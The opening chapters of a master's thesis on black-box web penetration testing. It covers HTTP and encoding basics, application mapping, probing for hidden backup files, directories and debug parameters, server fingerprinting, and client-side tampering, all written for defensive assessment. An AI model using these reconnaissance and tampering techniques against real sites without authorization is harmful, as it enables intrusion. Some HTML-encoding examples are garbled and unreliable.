Black-Box assessment of Web systems security

Master’s thesis

Figure 1: Taken from [27]

Milan Senesi
Black-Box assessment of Web systems security

THESIS

submitted in partial fulfillment of the requirements for the degree of

MASTER OF SCIENCE

in

COMPUTER SCIENCE

by

Milan Senesi
born in Prague, Czech republic

TU Delft
Software Engineering Research Group
Department of Software Technology
Faculty EEMCS, Delft University of Technology
Delft, the Netherlands
www.ewi.tudelft.nl

Certified Secure
Loire 128-A
2491 AJ The Hague, the Netherlands
www.certifiedsecure.com
Black-Box assessment of Web systems security

Author: Milan Senesi
Student id: 4037502
Email: M.Senesi@student.tudelft.nl

Abstract

Many companies rely on Web applications to promote their services to the world. It is a logical step, as the Web offers great advantages such as convenience, low cost and instant reachability from anywhere in the world. Meanwhile Web applications tend to be implemented in an insecure way and the attacker does not even need to be too experienced to break into the companies over the Internet. Black-box penetration testing is very helpful in the assessment of Web systems security as it simulates such an attack.

The aim of this thesis is to design and evaluate a structured methodology that any software developer can use to perform a black-box penetration test on Web systems to detect and prevent the most dangerous Web vulnerabilities.

Thesis Committee:

Chair: Prof. Dr. A. van Deursen, Faculty EEMCS, TU Delft
University supervisor: Dr. phil. H. G. Gross, Faculty EEMCS, TU Delft
Company supervisor: F. van Vliet MSc., Certified Secure
Preface

I would like to thank everyone who helped with this project. In the first place I would like to thank my TU Delft supervisor Hans-Gerhard Gross for all the times he helped me come up with ideas for solutions of various difficult issues I encountered on the way. I couldn’t possibly wish for a better supervisor. I would also like thank you Éric Piel for your help with setting up virtual servers for the experiment.

Furthermore thanks to my supervisor at Certified Secure Frank Van Vliet, who introduced me into the magical and exciting world of hacking and helped me a lot along the way. Thank you for helping me not losing track. Further I would like to thank to all my coworkers at Certified Secure, that were very helpful and friendly at the same time. Especially thank you to: Boris de Wilde and Jelmer de Hen for many tips and tricks about Web hacking and providing their professional services for the experiment and Joost Pol for some very advanced penetration testing tricks and being flexible. I would also like to thank to everyone who participated in the experiment, namely in alphabetical order: Dimitrios Athanasiou, Éric Piel, Ellen Christopherson, Evgenios Kornaropoulos, Filip Dovland, Johan Hilding, Maarten Lambert, Martin Poliak, Nasir Shadravan and Paolo L. Schipani. Last but not the least I would like to thank my good friends Ellen Christopherson and Jan Svarovsky for reviewing this text.

Milan Senesi
Delft, the Netherlands
November 6, 2011
## Contents

<table>
<thead>
<tr>
<th>Chapter</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Preface</td>
<td>iii</td>
</tr>
<tr>
<td>Contents</td>
<td>v</td>
</tr>
<tr>
<td>List of Figures</td>
<td>vii</td>
</tr>
<tr>
<td>1 Introduction</td>
<td></td>
</tr>
<tr>
<td>1.1 Research statement</td>
<td>2</td>
</tr>
<tr>
<td>1.2 Organization</td>
<td>3</td>
</tr>
<tr>
<td>2 Web technologies and concepts</td>
<td></td>
</tr>
<tr>
<td>2.1 HTML and HTTP(S)</td>
<td>6</td>
</tr>
<tr>
<td>2.2 State and sessions</td>
<td>9</td>
</tr>
<tr>
<td>2.3 Encoding schemes</td>
<td>10</td>
</tr>
<tr>
<td>3 Detection and prevention of the most dangerous Web vulnerabilities</td>
<td></td>
</tr>
<tr>
<td>3.1 Mapping the application</td>
<td>13</td>
</tr>
<tr>
<td>3.2 Client side components</td>
<td>18</td>
</tr>
<tr>
<td>3.3 Authentication</td>
<td>19</td>
</tr>
<tr>
<td>3.4 Access control</td>
<td>21</td>
</tr>
<tr>
<td>3.5 SQL injection</td>
<td>22</td>
</tr>
<tr>
<td>3.6 Cross-Site Scripting</td>
<td>27</td>
</tr>
<tr>
<td>3.7 Command injection</td>
<td>33</td>
</tr>
<tr>
<td>3.8 Filename injection and path traversal</td>
<td>37</td>
</tr>
<tr>
<td>3.9 File upload</td>
<td>39</td>
</tr>
<tr>
<td>3.10 Cross Site Request Forgery</td>
<td>41</td>
</tr>
<tr>
<td>3.11 Data sanitization and filtering</td>
<td>44</td>
</tr>
<tr>
<td>4 Methodology</td>
<td></td>
</tr>
<tr>
<td>4.1 General guidelines</td>
<td>47</td>
</tr>
<tr>
<td>4.2 Analysis</td>
<td>48</td>
</tr>
</tbody>
</table>
List of Figures

1 Taken from [27] ......................................................... i
2.1 HTTP conversation. Taken from [15] .............................. 7
3.1 Typical log-in form .................................................. 19
3.2 Example of a privilege matrix ..................................... 22
3.3 Result of passing input from listing 3.11 to the listing 3.10 . 28
3.4 BeEF’s interface ..................................................... 32
5.1 FunBlog screenshot ................................................. 57
5.2 Division of the subjects into the groups with/without methodology ........................................ 59
5.3 FunBlog - score achieved by professional penetration testers .................................................. 61
5.4 FunBlog - score achieved by Web vulnerability scanners ...................................................... 61
5.5 FunBlog - score achieved by subjects without the methodology .............................................. 62
5.6 FunBlog - score achieved by subjects with the methodology .................................................. 62
5.7 FunBlog - average score ............................................ 63
5.8 FunBlog - standard deviation ..................................... 63
5.9 FunBlog - coverage by professional penetration testers ...................................................... 64
5.10 FunBlog - coverage by Web vulnerability scanners ......................................................... 65
5.11 FunBlog - coverage by subjects without the methodology .................................................. 65
5.12 FunBlog - coverage by subjects with the methodology ...................................................... 66
Chapter 1

Introduction

Today, it is becoming more and more difficult to find an industry or individual not affected by computers and Internet. One of the reasons is the large gain in productivity that the synergy brings. However, the Internet is a fragile ecosystem. The more we depend on the technology, the more vulnerable we become. Companies store business critical information in databases. Home users use computers to access banking accounts and to handle private communication. The information people expose this way is sensitive and potentially dangerous if it falls into the wrong hands. The security of our computer systems and the confidentiality of the data they conceal influences everyone. Yet these systems tend to be vulnerable. System vulnerability is "the intersection of a system susceptibility or flaw, access to the flaw, and the capability to exploit the flaw" [17]. By exploitation of vulnerabilities, an attacker can force undesired system behavior. The attacker can be an individual, a malicious program or even a whole criminal organization.

Over the past two decades, a silent but at the same time revolutionary shift in focus has been changing the computer security field. Just when people realized issues with the technology and started to secure their network and operating systems with firewalls, intrusion detection systems and server security hardening, they exposed themselves to the world on the Internet via the Web. Almost every company has a Web of some kind, offering their services online to potentially thousands of clients. It is not unusual for companies to base their whole business on the Web as their main commerce platform. The focus of attackers changed. Before the Web, when the attacker wanted to steal money from a bank, necessary steps would for example include learning about the network and its vulnerabilities, finding some vulnerable system and successfully exploiting it, bypassing firewalls and then trying to get to the mainframe computer running possibly a not well known operating system, breaking its protection mechanism and finally finding a way to transfer money. Today it may in extreme cases be enough just to change some form fields in the Web application to perform the same attack. For computer security this shift is akin to a building industry that spent years developing strong doors and sophisticated locks and suddenly realized that windows are very fragile and easily broken. An insecure Web application is just like such a window. A successful attack on the Web application can put the company out of business with a single click of a mouse button. And due to the nature of the Internet, the threat is awaiting everywhere in the world.
Web Application Security Consortium (WASC) in 2008 reported that more than 13% of the reviewed sites could be compromised completely automatically, while 49% of Web applications had a high-level vulnerability when just the automatic scanner was run against them [5]. These are alarming numbers, as according to [47] the best automatic scanners are capable to detect only around 15% of vulnerabilities. Furthermore, vulnerabilities such as logic errors that require understanding of the application as a whole, are still beyond the capability of scanners. The results of this study show that Web applications are easily vulnerable.

Despite the fact that common security weaknesses have been known for years, according to WhiteHat security [11] they are still threatening a large portion of all Web sites. Software developers are not generally even aware of possible threat vectors. In order to improve the overall security of Web systems, a well-defined security testing strategy is needed. One of the possibilities how to assess security of a given system is to simulate the attack that could come from a malicious source. This process is called penetration testing. There are two basic ways how to perform the penetration test - black-box and white-box. The biggest difference is the level of information about the system that is available to the testers. The white-box testing is a test of the application with a full access to the source codes and knowledge of the internal working of the system. It simulates the attack from inside and it is not a focus of this work. On the other side of the spectrum is the black-box testing, where the tester does not know anything more about the system than what is publicly available. Performing black-box penetration test is typically a lot faster than white-box testing. At the same time it gives a realistic estimate of impacts of a real attack from the outside. For the companies this is very valuable information.

1.1 Research statement

Black-box penetration testing has similarities with functional testing, that has been studied and understood quite well. Coverage criteria, input and expected output are typically known for functional testing. However, when it comes to the security penetration testing, the situation is different. The coverage criteria are not very well known, not even among software developers. There are furthermore too many vulnerabilities. Thus a systematic and prioritized approach to detect vulnerabilities is required.

Typically, the security testing is focused on individual vulnerabilities, that are currently known to the tester. Each vulnerability on its own can be non-critical, but when combined with other non-critical vulnerability it can lead to the compromise of the whole system. Therefore I suggest a holistic approach, looking at the Web application security from a broader perspective, rather than targeting individual vulnerabilities.

Black-box penetration testing is commonly performed in an ad hoc manner, where the penetration tester tests for vulnerabilities being driven by intuition and experience. Ad hoc penetration testing may work well for a professional penetration tester. But what about an average software developer? Computer security is not currently being taught at many universities and the threats are not well known, yet security seems to be crucial for many companies. Especially when it comes to Web applications, now that almost every company
exposes itself to the world providing freely accessible Web applications that traditional firewalls will not protect. Therefore the first two research questions are:

- **RQ1:** How much better or worse can software developers discover vulnerabilities when using the methodology in comparison to the professional penetration testers?

- **RQ2:** How much better or worse can software developers discover new vulnerabilities having the structured methodology compared to software developers testing the Web application just with common knowledge?

To answer these questions a proper methodology has to be created and evaluated. For that, the coverage criteria need to be established. In case of penetration testing coverage criteria are the possible vulnerabilities and attack vectors and a methodology is an order and a method of finding these vulnerabilities and confirming or neglecting their presence. The countermeasures against given attack vectors need to be included as well. Since there are many potential vulnerabilities, the focus will be only on the most common and most dangerous ones as defined by a Basic Web Scan checklist by Certified Secure.

There are also numerous automatic Web scanners available that supposedly should be able to find vulnerabilities automatically. Therefore the last research question is:

- **RQ3:** How well do software developers when (not) using the methodology perform compared to the performance of Web scanners?

A Web application with the most common vulnerabilities will be tested for security issues as specified in the Basic Web Scan checklist. Based on gained experience, interview with a professional penetration testers and literature survey an appropriate methodology for their testing will be outlined. A vulnerable Web system suffering from various vulnerabilities will be created and presented to various groups that will perform a black-box penetration test on the system.

The goal is to answer the main research questions and to evaluate proposed methodology based on the outcome of the black-box penetration test.

### 1.2 Organization

This thesis is organized as follows. Chapter 2 briefly introduces into core Web technologies from the attackers point of view. Chapter 3 provides an introduction to the most severe threats to todays Web applications and how to find them from a black-box perspective. Chapter 4 provides the summary of the methodology. Chapter 5 describes an experiment. Final chapter 6 concludes the thesis and presents future work.
Chapter 2

Web technologies and concepts

The Web as we know it today is the result of an interconnection of various technologies. In order to be able to perform black-box penetration testing to find vulnerabilities, the penetration tester or attacker needs to have a very good and often deep understanding of all the technologies involved. It is important to realize what happens in each moment of the system execution to figure out what is likely to be the system’s weak point. This chapter briefly introduces core Web technologies from the attacker’s point of view. It is a necessary foundation to understand vulnerabilities.

As far as Web browsers are concerned, most of the data is exchanged with a Web server via an HTTP networking protocol. The typical Web pages that the browser retrieves via HTTP from a Web server have HTML text data format, which describes the content of the Web pages. HTML pages contain links to other resources that they include such as scripts, typically written in JavaScript language, that add some dynamic content or images to be displayed. HTML pages can also include dynamism using various plugins such as Flash objects or Java applets. The graphical formatting of the rendered Web page is usually specified using so called Cascading style sheets (CSS), a collection of rules that tell the browser how to display given HTML elements. All these are client-side technologies that the Web browser uses.

For Web systems a client-server application model is typical. The server side part is at least equally rich as the client-side in terms of the variety of technologies. Web pages reside on a Web server, such as the Apache Web server or Microsoft Internet Information Services (IIS). The Web server understands the HTTP protocol and replies to requests sent from the browser by sending a Web page. The page in HTML format can be just a static HTML file, but when the user through the browser requests some resource (HTML file, image etc.) various parameters can be submitted via HTTP and the Web server can react by tailoring the HTML content. The dynamic generation is not done by the Web server itself, rather it is done by additional software that receives the request from the Web server. Then it processes the request and returns the answer back to the Web server. The Web server then sends it back to the Web browser where it is finally presented to the user. The software responsible for generation of the dynamic content can be developed using scripting languages such as PHP or Perl or using Web application platforms such as Java or ASP.NET. Theoretically any programming language can be used. This software typically uses a database such as
MySQL or Microsoft SQL.

All these technologies and their interaction can be vulnerable to various attacks. The following is a brief outline of the technologies, which will then be used to explain penetration testing.

### 2.1 HTML and HTTP(S)

HTML stands for HyperText Markup Language. It is the dominating markup language for Web pages. HTML is very similar to XML, although it is less strict. The browser does not display tags, but instead uses them to interpret the content of the page [2]. Both CSS and JavaScript can be part of HTML. When the application allows the attacker to seize control of even a small portion of the HTML page the attacker can perform cross site scripting by modifying the page content, structure and behavior through insertion of malicious code.

The Hypertext Transfer Protocol (HTTP) is a request-response networking protocol. The Web server receives an HTTP request and answers with an HTTP response. A typical scenario is a request for retrieving a certain HTML page or other resource such as an image or some other file. HTTP is a connectionless\(^1\) and stateless simple text protocol. The HTTP protocol is unencrypted and when encryption is required HTTPS is usually used instead. HTTPS is HTTP tunneled over a Secure Socket Layout (SSL) protocol [30]. The attacker has full control over HTTP requests that the browser sends to the Web server and can thus send unexpected and potentially dangerous HTTP requests. Furthermore, any connection that is not encrypted can be intercepted and in certain scenarios even tampered with. These kinds of attack are commonly referred to as man-in-the-middle attack.

A typical conversation between the browser and the server is depicted in Figure 2.1 in its simplistic form.

HTTP requests and responses consist of one or more headers, each on a separate line, followed by the body which is separated from the rest of the headers by two newline characters [30].

**HTTP request**

<table>
<thead>
<tr>
<th>Listing 2.1: HTTP request</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET /entrypoints/dutch/pages/home/index.xml HTTP/1.1</td>
</tr>
<tr>
<td>Host: <a href="http://www.pine.nl">www.pine.nl</a></td>
</tr>
<tr>
<td>User-Agent: Mozilla/5.0 ...</td>
</tr>
<tr>
<td>Accept: text/html, ...</td>
</tr>
<tr>
<td>Referer: <a href="http://www.google.com">http://www.google.com</a></td>
</tr>
<tr>
<td>Accept-Language: en-US, en;q=0.7, ...</td>
</tr>
<tr>
<td>Accept-Encoding: gzip, deflate</td>
</tr>
<tr>
<td>Cookie: PHPSESSID=0c73e48172c27097cea63d406b946c7b</td>
</tr>
</tbody>
</table>

\(^1\)However it relies on TCP networking protocol as its transport mechanism from the TCP/IP protocol suite that the whole Internet relies upon. TCP is connection-oriented, unlike HTTP.
The first line of a typical HTTP request from listing 2.1 contains 3 items. The first item is a verb indicating the HTTP method, followed by the (relative) URL of the request and ending with the HTTP protocol version specification. After the first line there are usually several headers followed by the body of the request. Common headers include:

- **Host** - used to specify the Web server.
- **User-Agent** - tells the Web server the type of browser or software that issued the request.
- **Referer** - reveals to the Web server the location from where the request was issued.
- **Cookie** - used to return information sent in previous responses by the Web server, more in section 2.2.

The most important request methods are **GET** and **POST**. These are both used for requesting a specified resource. **GET** should not have any side-effects in the application and the parameters are passed as part of the URL. This is unlike **POST** in which the parameters are passed in the request body and may result in the creation of a new resource. Technically speaking however they can be used interchangeably\(^2\).

Since every HTTP request can be arbitrarily modified and does not necessarily have to be issued by the Web browser, the attacker could for example change the method from **GET** to **POST**. Then the application may strictly control contents of GET parameters but

\(^2\)To some extent. For example many Web browsers and Web servers restrict the total length of a **GET** request.
accept POST nevertheless, which can lead to a security check bypass. Headers can be also modified. So, for example, the attacker could submit a malicious code fragment in a User-Agent header and if the contents of this header are used by the administrator to log Web browsers accessing the Web application, the log itself could be poisoned. In the case of a Referer header, which may be used by the Web application to restrict access to a certain resource, the application might give the attacker access to the desired resource, if the attacker sends modified location.

A uniform resource locator (URL), correctly called a uniform resource identifier (URI) identifies Web resources and has the following format:

```
Listing 2.2: URL format
protocol://hostname[:port]/[path/][resource[#fragment]][?parameter1=value&parameter2=value]
```

The protocol is typically HTTP(S). Most Web servers listen on the standard port number 80 and this information may be omitted from the request. Since port 80 is usually not protected by a firewall, the attacker can use this port to get deeper inside the system through one or more vulnerabilities in the Web application. Fragment is not part of the request (ie. is not being sent as part of the URL), but it enables Web browsers to automatically scroll to a particular position within an HTML page. Parameters do not necessarily have to be separated by ?, & and = characters, although most of the time they are [30].

### HTTP response

A typical HTTP response is shown in listing 2.3. The first line is composed of 3 items as well. The first item is the HTTP version in use, followed by numerical status code and a response string. Then headers and the body of the response follow. Common headers include:

```
Listing 2.3: HTTP response
HTTP/1.1 200 OK
Date: Thu, 03 Mar 2011 11:05:44 GMT
Server: Apache
Cache-Control: no-store, no-cache, ...
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Type: text/html
Content-Length: 22337

<!DOCTYPE html PUBLIC 
"-//W3C//DTD XHTML 1.0 Strict//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
```

8
Each HTTP response must contain a three digit numerical status code. There are 5 categories according to the first digit:

- **1xx** - Informational.
- **2xx** - Successful request.
- **3xx** - Redirection to a different resource.
- **4xx** - Error in request.
- **5xx** - Server error occurred.

HTTP responses may give the attacker a wealth of information. **Content-Length** may be used as a quick indicator whether or not the response differs from the standard response, revealing unusual behavior that may be exploitable. **Set-Cookie** may contain information about the state of the application as shown in the next section and **Server**, along with other headers, can reveal the exact version and type of software installed on the Web server. This can be used to exploit known vulnerabilities. **Location** may in some cases be controlled by the attacker, who can for example use legitimate site redirection functionality to redirect the victim to a malicious page.

### 2.2 State and sessions

HTTP is stateless but Web applications typically need to somehow maintain a state of the user. A common solution to this problem is to provide a unique token with each request. This token is called a session identifier. The session identifier is normally issued by the Web server via the **Set-Cookie** HTTP response header and the browser issues it back via the **Cookie** HTTP request header with every request. If the Web application trusts the Web browser to rely only on a session identifier when performing a sensitive action the attacker can exploit the Web browser via the cross site request forgery attack. If the attacker tricks the victim to visit a malicious site it is possible to issue a request from this malicious site
to perform such action without the users awareness. From the Web application’s point of view this would be the same as if the victim performed the action themselves. Another possibility is to issue the token as one of the parameters in the GET request; however, every GET request can be logged and the attacker may be able to retrieve it, stealing the session token and thus being able to impersonate the user.

Cookies

A cookie, also known as a HTTP cookie, is a text file stored by the Web browser on a user’s computer. The format of a cookie is straightforward. It consists of one or more comma-separated NAME=VALUE pairs, followed by additional semicolon-separated parameters or keywords that further define properties of the cookie. These name-value pairs are then sent back and forth in an HTTP header between the server and browser each time the Web browser contacts the Web server. A cookie can be used for authentication, shopping cart contents saving, site preferences and much more, but are most importantly used as session identifiers [1]. The attacker can modify the session identifier to impersonate a user, bypassing all protection mechanisms. Also, parameters can be modified in a way that violates application logic, such as lowering the price of a product in a shopping cart. Cookies can contain a wealth of information that is directly accessible to both the attacker and the user.

2.3 Encoding schemes

Web applications employ several encoding schemes for data transfer. This is especially necessary to properly encode non-textual and special characters. As the attacker wants to modify requests by trying to mask them as regular Web browser requests so they will not be dropped by the Web server as invalid requests. Several rules need to be followed in order to trick the application successfully. Here follows a list of very common encoding schemes.

URL encoding

URL can contain only printable characters from ASCII range 0x20 − 0x7e. Furthermore some characters from this range are restricted as they have a special meaning. The restricted characters are encoded with a % prefix followed by a 2 digit hexadecimal number representing the ASCII code of the character. So for example, = is %3d, % represents %25 , %20 represents a space which can also be encoded as +, null byte is a %00, newline character is a %0a etc. Special characters that should be encoded include: space, %, &, =, ;, + and # [30]. URL encoding is typically used to encode GET and POST parameters. The attacker can use special characters for various purposes. For example, the null byte is often used to bypass filters and the newline character is employed to inject additional headers to the resulting HTTP response which is exploitable in various way.

Unicode or UTF-8 character encoding is typically used when one needs to encode character from a non-ASCII character set.
**HTML encoding**

Characters in HTML that have a special meaning need to be encoded to be displayed correctly and not violating the HTML structure. HTML encoding defines several HTML entities that represent specific literal characters. For example, `&quot;` represents ”, `&apos;` represents ‘, `&amp;` represents &, `&lt;` represents < and `&gt;` represents >. Furthermore, any character can be HTML-encoded using its ASCII code in decimal (prefix `&#`) or hexadecimal (prefix `&###`) form. For example, ” can be represented also as `&x#34`; in decimal form but also as `&x#x22`; in hexadecimal form [44]. If the attacker tries to modify the HTML structure and the special characters are encoded in the responses, it may be harder or even impossible to do so; however, many Web applications do not encode special HTML characters at all and are vulnerable to cross site scripting attacks.

**Base64**

Base64 encoding is a transformation of any binary data into printable ASCII characters set. Base64 divides input data in 3-byte blocks. Each of these blocks is further divided into 4 pieces of 6 bits. 6 bits can represent $2^6 = 64$ possible permutations, that can be expressed as printable ASCII characters. These are typically AZ, aZ, and 09 for the first 62 values with the remaining 2 being + and / . The final block, if smaller than three output characters, is padded with = or == respectively. Base64 is a very common encoding scheme used not only for binary data transfer, but also as a primitive obfuscation method that the attacker can spot right away.
Chapter 3

Detection and prevention of the most dangerous Web vulnerabilities

In this chapter vulnerabilities from the Basic Web scan checklist\(^1\) will be explained to help understand the final methodology. The Basic Web scan checklist contains the most deadly attacks against Web applications according to Certified Secure. Possible attack vectors along with defense techniques are discussed as well. Item 5 from the checklist is left out, as that section is meant for any other item penetration tester might discover. That can be very many things and it is dependent upon a specific application.

The following text focuses on a common case where the Web application is implemented using a platform generating HTML Web pages and optionally JavaScript and resides on a single Web server with no load-balancing in place. It also assumes a single RDBMS as the persistence layer.

3.1 Mapping the application

The initial step in the black-box penetration testing is gathering and examining information about the purpose and functioning of the system. Most of the functionality and content is easy to identify; however some parts of the application might be hidden and it is desirable to reveal them. Every aspect of the application’s behavior should be closely examined, along with security mechanisms and technologies involved. At the end of the application mapping, one should have as complete an overview about the application as possible, knowing how it works and what technologies are involved. This information is valuable to identify potential weak spots that should be tested first. It is important to prioritize and focus on the most probable and most vulnerable weak points first before moving further. Especially if the application is large and complex and the amount of time reserved for testing is limited.

\(^1\)Appendinx A
3. DETECTION AND PREVENTION OF THE MOST DANGEROUS WEB VULNERABILITIES

Content and functionality enumeration

Under normal circumstances, the majority of functionality and content can be discovered by manually browsing the application, starting from the initial page and following every link and navigation. Some Web applications include "site maps" that can somewhat simplify the work, but it is still important not to fully rely on the information they provide.

There are various ways that a Web application can be conceptualized. In the past, when the World Wide Web functioned as a repository of static information, URLs represented filenames including directory structure. Nowadays Web applications are no longer static information repository, but rather fully functional applications whose functions are accessed via a unique URL. This unique URL is usually the name of the server-side script implementing such a function. It is no longer telling the application what function to perform - retrieve a static Web page for example. Instead it provides the application with information and it is the application’s job to decide how to use this information. The Web is no longer a set of pages. Consider an application that performs all user based logic via a single "page" depending on the supplied parameters:

List 3.1: Application pages vs. functional paths difference concept.

# Show registration form
http://example.com/do.php?action=registerUser

# Show user profile of currently logged user
http://example.com/do.php?action=showProfile

Web spiders and intercepting proxies

A Web spider is a tool that can automatically browse a Web application from the given starting URL; however there might be a lot of functionality that automatic spiders do not discover. They might not provide correct values for various forms or understanding JavaScript navigation. Furthermore, some Web applications might execute actions via GET requests. If it is a sensitive operation, such as a delete functionality, use of automatic spidering is dangerous. As a safer approach is to spider the Web application manually. It is possible to set the Web spider to function as a proxy, allowing it to intercept all the requests to monitoring them and continuously build the application functionality map. To discover as much content and functionality as possible, one should spider with cookies/JavaScript enabled/disabled and observe how the application behaves. If there are any changes one should examine if such changes could cause some issues. It is possible to combine automatic and manual spidering. For example, if the Web application has a login functionality, it is generally safe to run automatic spidering in a non-restricted area and manual spidering in a restricted zone [44].

There are several tools that are well suited for Web spidering. Popular tools include
Mapping the application

Burp spider\(^2\), WebScarab\(^3\) and ParOs\(^4\). All these tools also function as intercepting proxies. An intercepting proxy is a piece of software that is able to intercept both request and response and allows modifications before they reach the server/browser. Tools like intercepting proxies are some of the most important tools in black-box penetration testing, since they allow one to send requests that a Web browser would never send under normal circumstances. Such requests are likely to cause unexpected behavior in a Web application.

Hidden content

Web applications often have some hidden content or functionality that is not directly accessible. A typical example is when the developers leave a debugging or beta functionality, such as extra files, in the application. Common hidden functionality and content include:

1. Backup copies of used files or even archives of the whole Web application. They typically end with an extensions \texttt{bak}, \texttt{old}, \texttt{~}, \texttt{~1}, \texttt{txt}, \texttt{src}, \texttt{inc}, \texttt{snapshot}, \texttt{zip} or \texttt{rar}. Since these files are typically not mapped as executable files, they will be offered for download by the Web server under normal circumstances.

2. New "beta" functionality that is already deployed for testing but there are no links to it from the main application. There might be a remark in the news section, in some discussion forums or via social media such as Twitter and Facebook.

3. Old versions of files.

4. Configuration files.

5. Source codes of later compiled files.


7. Files that are just being included.

8. Comments in the HTML source providing valuable information.

9. \texttt{robots.txt} file residing in the main directory restricting access to the Web site by search engine robots that are crawling the web. It can thus contain names of interesting directories.

10. Source management control system sources (eg. Subversion in \texttt{.svn} directory).

11. Subdirectories containing interesting content such as \texttt{downloads}, \texttt{public}, \texttt{private}, \texttt{cgi-bin}, \texttt{error}, \texttt{admin}, \texttt{administrator}, \texttt{root} etc.

\(^2\)http://www.portswigger.net/burp/spider.html
\(^3\)http://www.parosproxy.org/
\(^4\)http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
In order to be able to effectively discover hidden content tools such as Nikto\(^5\) can be helpful. Nikto has a large database of potentially dangerous files, outdated versions of Web servers and more.

It is important to understand how a Web application responds to an existing resource. A common way to respond is with a 200 OK response code if the resource exists and 404 Not Found if it does not. However, some Web applications reply with a 200 OK response code with customized error message or redirection or via a 3xx response code to a page with an error description, when the resource does not exist. The user might not be authorized for a given request, in which case typically 404 Unauthorized or 403 Forbidden response code is returned. But that does not mean that the resource does not exist.

Developers typically use some kind of naming scheme for the content and functionality that can be useful when trying to discover hidden content. For example if there is a script AddUser.php (resp. AddANewUser.php, AddU.php, au.php etc.), there also might be a script named EditUser.aspx (resp. EditANewUser.php, EditU.php, eu.php etc.), even though there are no publicly available pointers.

Another source of information can be public information such as discussion forums, Web archives\(^6\) or search engines such as Google. When querying a search engine, various advanced techniques can be used. For example, one can narrow the search down for a given domain (eg. Google site: operator), retrieve cached older version of Web pages that can contain some additional information (eg. Google cache: operator) or search for pages that link to a given Web site (eg. Google link: operator). The spidering robots might even capture essential configuration files and other sensitive information, if the Web server allowed access to them at the time of spidering. Such information, including user names and passwords, can be retrieved later even if the Web server is secured [40].

**Hidden parameters**

Some parameters affect a Web application’s logic in significant ways. A common case is a debug=true parameter that may be implemented by developers to add extra debugging functionality or turn off some protection mechanisms. The parameter values may be true, yes, on, 1 or allow. One should try to include such parameters with both GET and POST requests [44].

**Request and response analysis**

It is very important to understand what requests are being sent and received to understand the functionality of the Web application at a deeper level. The OWASP testing guide [4] describes this as follows:

**Request analysis**

1. Identification of POST request parameters.

---

\(^5\)http://cirt.net/nikto2

\(^6\)http://web.archive.org
2. Noting hidden parameters within POST request. POST sends all the form fields, including the hidden parameters, in the body of the HTTP message. These can be discovered via intercepting proxy or examining HTML source code.

3. Identification of GET request parameters, such as the query string that typically follows a ? mark.

4. Identification of the query string. Most common format is a pair format, such as foo=bar. Many parameters can be in one query string separated by special characters such as &, ~ or :.

5. Understand how each parameter influences the application behavior.

Response analysis

1. Finding out where cookies are set (Set-Cookie header), modified, or added to.

2. Finding out various response status codes that the application uses, such as redirects (300 HTTP status code), 400 status codes (in particular 403 Forbidden), and 500 internal server errors when using the application as a regular user (i.e. no request modification).

3. Noting of interesting headers.

All parameters and parts of an HTTP request may be subject to modification. Later in this chapter it will be outlined how certain parameters can be modified, forcing the application to perform unintended actions. When tampering with parameters one should initially test each parameter alone, leaving the rest of parameters set to valid values - due to the fact that some Web applications react to invalid input by returning the error message for the first occurrence of an invalid input. Also, sometimes the parameter does not have to be supplied at all, which may lead to another violation in application logic.

Identifying Server-Side technologies

Identifying which technologies are used on the server side is possible via various techniques. It is useful information for an attacker, who can then try to exploit specific weaknesses of particular technologies.

Web server fingerprinting

Many Web servers disclose version and other information via the Server HTTP header that can be easily intercepted during the spidering phase. This header can be falsified very easily\(^7\). According to Shah [42] it is possible to identify HTTP servers by the way they implement various optional details in HTTP protocol specifications. A tool named Htprint\(^8\)

\(^7\)ServerMask by Port80 Software is a Web server software that tries to prevent server detection via Server HTTP header falsification.\n\(^8\)http://net-square.com/htprint/
was developed based on that research. Running the tool against a Web server the attacker can obtain specific information about the Web server with high probability.

**Platform/programming language fingerprinting**

The platform/programming language can be determined from the file extension of scripts that the URL refer to. For example, `php` extension identifies PHP language. If the file extension is not visible it is also possible to explore error messages. These can be enforced for example when specifying a URL containing a non-existent script with a valid extension. Also various fields in HTTP requests and responses contain valuable information. For example a session identifier stored in a `Cookie` header typically has a default name such as `PHPSESSID` in case of PHP.

### 3.2 Client side components

In general the user has full control over what is being sent to the server. Tools such as an intercepting proxy can be used to easily modify any request. Web application developers sometimes assume that users only provide reasonable input without additional checks. That is a very insecure habit.

**HTML Forms**

HTML forms are a common way a Web application asks for user input. Besides ordinary fields, an HTML specification [2] also defines hidden fields via the attribute `type="hidden"`. Such fields are not rendered but are still transmitted along with other data. If the field contains sensitive data, like context information (eg. prices of products in Web shops or session state information) the attacker might try to modify such sensitive data and fool the Web application. Some form fields can have another attribute `disabled="true"`, disabling the given component for any input. Data from such field are not transmitted. It can however reveal potentially important parameter that attacker can submit as well.

Form fields also offer some simple length validation mechanism through `maxlength` attribute. The attacker can simply remove this restriction. Validation is also often performed by JavaScript. There is nothing wrong with that as long as the Web application also correctly validates data on the server side. JavaScript can be disabled and its source modified. An intercepting proxy can further modify any data sent to the application. The attacker tries to provide any non-standard and unexpected input that could cause problems and violate validation criteria.

**Thick-client components**

Apart from HTML forms, thick-client components based on technologies such as Flash, Java or ActiveX can also be used. These components are just as vulnerable to tampering and modification. All of them can be reverse engineered, possibly even resulting in obtaining the source codes and understanding their inner workings. If they communicate with the Web
server and the communication is not properly protected via encryption it can be captured and modified via an intercepting proxy as well. Thick-client components are, however, not in the scope of this thesis.

**Defense**

Web applications should not depend on client-side components when it comes to security. If the client-side components are used for data validation, the input should be revalidated on server-side as well.

### 3.3 Authentication

Authentication is according to National Information Assurance Glossary[9] "the process of verifying the identity or other attributes claimed by or assumed of an entity (user, process, or device), or to verify the source and integrity of data." The authentication is essentially very simple. A user provides some unique information and the Web application verifies its validity to identify the user within the system. The information typically has the form of a username and password, but it can include other information, such as a value from a hardware token generator. Despite its conceptual simplicity, the authentication can be broken in various ways.

By far the most common authentication mechanism is an HTML log-in form with username and password entry as depicted in Figure 3.1. Most attacks against the authentication can be applied regardless of the mechanism used.

![Figure 3.1: Typical log-in form](image)

